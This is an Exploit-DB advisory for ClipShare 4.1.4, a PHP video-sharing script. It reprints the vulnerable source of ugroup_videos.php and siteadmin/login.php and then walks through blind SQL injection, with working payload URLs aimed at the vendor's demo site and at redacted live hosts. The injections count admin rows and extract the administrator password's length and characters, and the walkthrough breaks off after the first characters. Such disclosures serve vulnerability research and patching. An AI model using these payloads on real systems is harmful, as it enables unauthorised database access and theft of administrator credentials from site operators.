Exploit-DB #24790
Description: ClipShare 4.1.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-03-15
Author: AkaStep

Exploit:
=====================================================================
Vulnerable Software: ClipShare - Video Sharing Community Script 4.1.4
Official site: http://www.clip-share.com
Software License: Commercial.
Vulns: Blind SQl injection && Plaintext Password.
======================================================================
AFAIK all versions is vulnerable:
Official Demo is also vulnerable: http://www.clipsharedemo.com/ugroup_videos.php?urlkey=%27%20and%203=%273
Last Checked: 13 March 2013

NOTE:To exploit this vulnerability MAGIC_QUOTES_GPC directive must be turned off on server side.(php.ini)
Vulnerable Script:
//ugroup_videos.php
=========================== BEGIN OF ugroup_videos.php =============================================
<?php
/**************************************************************************************************
| Software Name        : ClipShare - Video Sharing Community Script
| Software Author      : Clip-Share.Com / ScriptXperts.Com
| Website              : http://www.clip-share.com
| E-mail               : office@clip-share.com
|**************************************************************************************************
| This source file is subject to the ClipShare End-User License Agreement, available online at:
| http://www.clip-share.com/video-sharing-script-eula.html
| By using this software, you acknowledge having read this Agreement and agree to be bound thereby.
|**************************************************************************************************
| Copyright (c) 2006-2007 Clip-Share.com. All rights reserved.
|**************************************************************************************************/

require('include/config.php');
require('include/function.php');

$urlkey  = ( isset($_REQUEST['urlkey']) ) ? $_REQUEST['urlkey'] : NULL;
$uid  = ( isset($_REQUEST['UID']) && is_numeric($_REQUEST['UID']) ) ? $_REQUEST['UID'] : NULL;

$sql="SELECT * from group_own WHERE gurl='" .$urlkey. "' limit 1";
$rs = $conn->Execute($sql);
if($rs->recordcount()>0) {
  STemplate::assign('groupname',$rs->fields[gname]);
  //PAGING STARTS
  $page     = ( isset($_REQUEST['page']) && is_numeric($_REQUEST['page']) ) ? $_REQUEST['page'] : NULL;
  $sql     = "SELECT count(*) as total from group_mem WHERE GID='" .$rs->fields['GID']. "' limit 1";
  $ars     = $conn->Execute($sql);
  $total    = ( $ars->fields['total']<=$config['total_per_ini'] ) ? $ars->fields['total'] : $config['total_per_ini'];
  $tpage     = ceil($total/$config['items_per_page']);
  $spage    = ( $tpage == 0 ) ? $tpage+1 : $tpage;
  $startfrom   = ($page-1)*$config['items_per_page'];
  $sql    = "SELECT m.*,s.addtime from group_mem as m,signup as s WHERE m.MID=s.UID and m.GID='".$rs->fields['GID']."' limit $startfrom, " .$config['items_per_page'];
  $rs    = $conn->execute($sql);
  if($rs->recordcount()>0)
    $vdo = $rs->getrows();
  $start_num  = $startfrom+1;
  $end_num  = $startfrom+$rs->recordcount();
  $page_link  = '';
  $type    = ( isset($_REQUEST['type']) && $_REQUEST['type'] != '' ) ? "&type=" .$_REQUEST['type'] : NULL;
  for ( $k=1;$k<=$tpage;$k++ )
    $page_link.="<a href='group_members.php?UID=" .$uid. "&page=" .$k. $type. "'>$k</a>&nbsp;&nbsp;";
  //END PAGING
}

STemplate::assign('err',$err);
STemplate::assign('msg',$msg);
STemplate::assign('page',$page);
STemplate::assign('start_num',$start_num);
STemplate::assign('end_num',$end_num);
STemplate::assign('page_link',$page_link);
STemplate::assign('total',$total);
STemplate::assign('answers',$vdo);
STemplate::assign('head_bottom',"grouplinks.tpl");
STemplate::display('head1.tpl');
STemplate::display('err_msg.tpl');
STemplate::display('ugroup_members.tpl');
STemplate::display('footer.tpl');
STemplate::gzip_encode();
?>


====================END OF ugroup_videos.php========================
Real exploitation example:

_REMOVED_/ugroup_videos.php?urlkey=1' order by 14-- 3='3


http://_REMOVED_/ugroup_videos.php?urlkey=1' or (select if(5=5,0,3))-- 3='3


//ON TRUE
//RETURNS: NORMAL PAGE
http://_REMOVED_/ugroup_videos.php?urlkey=1' or (select if(5=5,0,3))-- 3='3

//ON FALSE
// RETURNS NOTHING.(White Page)
http://_REMOVED_/ugroup_videos.php?urlkey=1' or (select if(5=2,0,3))-- 3='3




Plaintext password:
//siteadmin/login.php
============ BEGIN OF siteadmin/login.php ===========================
<?php
include('../include/config.php');

if ( isset($_POST['submit_login']) ) {
    $username   = trim($_POST['username']);
    $password   = trim($_POST['password']);

    if ( $username == '' or $password == '' ) {
        $err = 'Please provide a username and password!';
    } else {
        $access = false;
        $sql    = "SELECT soption FROM sconfig WHERE soption = 'admin_name' AND svalue = '" .mysql_real_escape_string($username). "'";
        $conn->execute($sql);
        if ( $conn->Affected_Rows() == 1 ) {
            $sql = "SELECT soption FROM sconfig WHERE soption = 'admin_pass' AND svalue = '" .mysql_real_escape_string($password). "'";
            $conn->execute($sql);
            if ( $conn->Affected_Rows() == 1 ) {
                $access = true;
            }
        }
    // SNIP //
============ END OF siteadmin/login.php ===========================



//TRUE
http://_REMOVED_/ugroup_videos.php?urlkey=1' or (select if(count(`svalue`)!=0,0,3) from sconfig)-- 3='3


80 user: http://_REMOVED_/ugroup_videos.php?urlkey=1' or (select if(count(`svalue`)=80,0,3) from sconfig)-- 3='3




http://_REMOVED_/ugroup_videos.php?urlkey=1' or (select if(count(0)=1,0,3) from sconfig where soption='admin_name')-- 3='3


Passi cekirik:



http://_REMOVED_/ugroup_videos.php?urlkey=1' or (select if(length(svalue)='11',0,3) from sconfig where soption='admin_pass' limit 1 offset 0)-- 3='3

11 simvolludur pass.


========================================================

1-ci simvol:  o

h